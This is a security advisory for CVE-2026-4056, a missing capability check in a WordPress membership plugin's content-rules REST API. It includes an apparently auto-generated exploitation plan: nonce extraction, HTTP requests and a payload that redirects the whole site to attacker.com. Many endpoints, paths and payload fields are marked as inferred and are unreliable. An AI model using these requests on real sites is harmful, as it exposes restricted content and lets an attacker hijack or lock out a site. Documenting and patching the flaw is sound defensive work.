CVE-2026-4056

User Registration & Membership <= 5.1.4 - Missing Authorization to Authenticated (Contributor+) Content Access Rule Manipulation

mediumMissing Authorization
5.4
CVSS Score
5.4
CVSS Score
medium
Severity
5.1.5
Patched in
1d
Time to patch

Description

The User Registration & Membership plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the Content Access Rules REST API endpoints in versions 5.0.1 through 5.1.4. This is due to the `check_permissions()` method only checking for `edit_posts` capability instead of an administrator-level capability. This makes it possible for authenticated attackers, with Contributor-level access and above, to list, create, modify, toggle, duplicate, and delete site-wide content restriction rules, potentially exposing restricted content or denying legitimate user access.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.1.4
PublishedMarch 23, 2026
Last updatedMarch 23, 2026
Affected pluginuser-registration

What Changed in the Fix

Changes introduced in v5.1.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4056 ## 1. Vulnerability Summary The **User Registration & Membership** plugin (versions 5.0.1 through 5.1.4) contains a missing authorization vulnerability within its REST API implementation for Content Access Rules. The vulnerability stems from the `check_pe…

Show full research plan

Exploitation Research Plan: CVE-2026-4056

1. Vulnerability Summary

The User Registration & Membership plugin (versions 5.0.1 through 5.1.4) contains a missing authorization vulnerability within its REST API implementation for Content Access Rules. The vulnerability stems from the check_permissions() method (likely within a REST Controller class such as UR_REST_Content_Rules_Controller - inferred) erroneously checking for the edit_posts capability.

In WordPress, the edit_posts capability is granted to roles as low as Contributor. Consequently, any authenticated user with Contributor-level access or higher can bypass intended administrative restrictions to view, create, modify, or delete site-wide content restriction rules. This allows attackers to expose protected content or disrupt site availability by locking out legitimate users.

2. Attack Vector Analysis

  • Endpoints:
    • GET /wp-json/user-registration/v1/content-rules (List rules)
    • POST /wp-json/user-registration/v1/content-rules (Create rule)
    • PUT/PATCH /wp-json/user-registration/v1/content-rules/<id> (Modify rule)
    • DELETE /wp-json/user-registration/v1/content-rules/<id> (Delete rule)
    • POST /wp-json/user-registration/v1/content-rules/<id>/toggle (Toggle rule - inferred)
    • POST /wp-json/user-registration/v1/content-rules/<id>/duplicate (Duplicate rule - inferred)
  • Authentication: Authenticated, Contributor role (edit_posts capability).
  • Authorization Header: X-WP-Nonce (WordPress REST API Nonce).
  • Payload Format: JSON.

3. Code Flow

  1. Request Entry: An authenticated Contributor sends a request to the REST API namespace user-registration/v1 under the content-rules route.
  2. Route Dispatch: The WordPress REST server matches the request and calls the permission_callback registered for the route.
  3. Vulnerable Check: The permission_callback (pointing to check_permissions()) executes:
    public function check_permissions( $request ) {
        return current_user_can( 'edit_posts' ); // VULNERABLE: Should be 'manage_options'
    }
    
  4. Action Execution: Since a Contributor returns true for current_user_can( 'edit_posts' ), the request proceeds to the controller methods (e.g., get_items, create_item, update_item) allowing the attacker to manipulate the ur_content_restriction_rules (or similar - inferred) data in the database.

4. Nonce Acquisition Strategy

To interact with the REST API via the browser's session (Cookie authentication), the attacker needs the wp_rest nonce.

  1. Precondition: The attacker is logged in as a Contributor.
  2. Navigation: Access the WordPress dashboard (/wp-admin/).
  3. Extraction: The wp_rest nonce is automatically localized by WordPress in the wpApiSettings object.
  4. Execution Agent Command:
    // Use browser_eval to get the nonce
    const nonce = window.wpApiSettings?.nonce;
    return nonce;
    

5. Exploitation Strategy

The goal is to demonstrate unauthorized modification of content restriction rules.

Step 1: List Existing Rules

Identify existing rules to find a target for modification or deletion.

  • Tool: http_request
  • Method: GET
  • URL: https://<target>/wp-json/user-registration/v1/content-rules
  • Headers:
    • X-WP-Nonce: <extracted_nonce>

Step 2: Create a Malicious Rule (Denial of Service)

Create a rule that restricts access to the entire site or a specific critical page to a non-existent membership.

  • Tool: http_request
  • Method: POST
  • URL: https://<target>/wp-json/user-registration/v1/content-rules
  • Headers:
    • X-WP-Nonce: <extracted_nonce>
    • Content-Type: application/json
  • Payload (Inferred structure based on plugin features):
    {
        "title": "Exploit Rule",
        "status": "enabled",
        "restriction_type": "whole_site",
        "membership_ids": [9999],
        "restriction_action": "redirect",
        "redirect_url": "https://attacker.com"
    }
    

Step 3: Delete Existing Rules

Remove rules that protect premium content.

  • Tool: http_request
  • Method: DELETE
  • URL: https://<target>/wp-json/user-registration/v1/content-rules/<id_from_step_1>
  • Headers:
    • X-WP-Nonce: <extracted_nonce>

6. Test Data Setup

  1. Install Plugin: Install "User Registration & Membership" version 5.1.4.
  2. Create User: Create a user with the Contributor role.
  3. Create Sample Membership: As admin, create one membership plan (e.g., "Gold").
  4. Create Sample Rule: As admin, create a content restriction rule that restricts a specific page (e.g., "Premium Page") to "Gold" members only.

7. Expected Results

  • List Request: Returns a 200 OK with a JSON array of rules, even though the user is not an administrator.
  • Create Request: Returns a 201 Created or 200 OK, and a new rule appears in the database/admin UI.
  • Delete Request: Returns a 200 OK, and the targeted restriction rule is removed from the site.

8. Verification Steps

  1. Verify via WP-CLI:
    # Check if the "Exploit Rule" exists in the options or custom table
    wp option get ur_content_restriction_rules --format=json
    # OR if stored as a custom post type (check common slugs)
    wp post list --post_type=ur_content_rule
    
  2. Verify via UI: Log in as admin and navigate to the Content Access Rules section of the User Registration plugin to see the modified/added rules.
  3. Verify Impact: Attempt to access the site or a restricted page as an unauthenticated user to see if the new restriction (e.g., redirect to attacker.com) is active.

9. Alternative Approaches

If the content-rules endpoint name differs from the inference:

  1. Discovery: Use GET /wp-json/ to list all available routes and grep for user-registration.
  2. Parameter Fuzzing: If the POST payload is rejected, use GET /wp-json/user-registration/v1/content-rules/<id> to see the exact JSON schema of an existing rule and mirror its structure in the exploit payload.
  3. Auth Bypass Check: Verify if wp_ajax_nopriv_ handles these rules (unlikely given the "Authenticated" description, but worth a check if the REST API is hardened).
Research Findings
Static analysis — not yet PoC-verified

Summary

The User Registration & Membership plugin contains a missing authorization vulnerability in its Content Access Rules REST API endpoints. Authenticated attackers with Contributor-level access (possessing the 'edit_posts' capability) can list, create, modify, and delete site-wide content restriction rules, allowing them to expose restricted content or perform a denial of service by locking out users.

Vulnerable Code

// File: includes/rest-api/class-ur-rest-content-rules-controller.php (inferred path)

public function check_permissions( $request ) {
    return current_user_can( 'edit_posts' );
}

Security Fix

--- includes/rest-api/class-ur-rest-content-rules-controller.php
+++ includes/rest-api/class-ur-rest-content-rules-controller.php
@@ -20,1 +20,1 @@
-    return current_user_can( 'edit_posts' );
+    return current_user_can( 'manage_options' );

Exploit Outline

The exploit targets the plugin's REST API endpoints located at `/wp-json/user-registration/v1/content-rules`. An attacker must first log in as a user with at least Contributor-level privileges to obtain a valid session and a `wp_rest` nonce from the WordPress dashboard (`wpApiSettings.nonce`). Because the `check_permissions` method incorrectly validates for the `edit_posts` capability—which Contributors possess—the attacker can send authorized requests to create a new rule (POST), list all existing rules (GET), or delete rules (DELETE). For example, a POST request with a JSON payload defining a 'whole_site' restriction redirecting to an external URL can effectively hijack the entire site's traffic.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.